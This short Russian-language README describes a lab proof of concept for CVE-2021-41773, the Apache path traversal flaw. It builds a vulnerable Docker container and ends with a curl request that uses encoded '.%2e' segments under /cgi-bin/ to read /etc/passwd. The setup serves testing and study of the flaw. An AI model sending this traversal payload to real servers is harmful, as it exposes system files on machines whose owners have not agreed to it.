CVE-2021-41773

CVE-2021-41773 — PoC эксплуатации с настройкой Docker.

Перейдите в каталог, содержащий конфигурацию Apache и Dockerfile (доступны в репозитории).

Сборка образа: ~# docker build -t cve-2021-41773:1.0 .

Запуск Docker-образа: ~# docker run --rm -d -p 4444:80 cve-2021-41773:1.0 (Примечание: также можно использовать ID образа вместо имени образа; узнать детали образа можно командой 'docker images')

Проверка службы: ~# curl localhost:4444

Эксплуатация: ~# curl localhost:4444/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd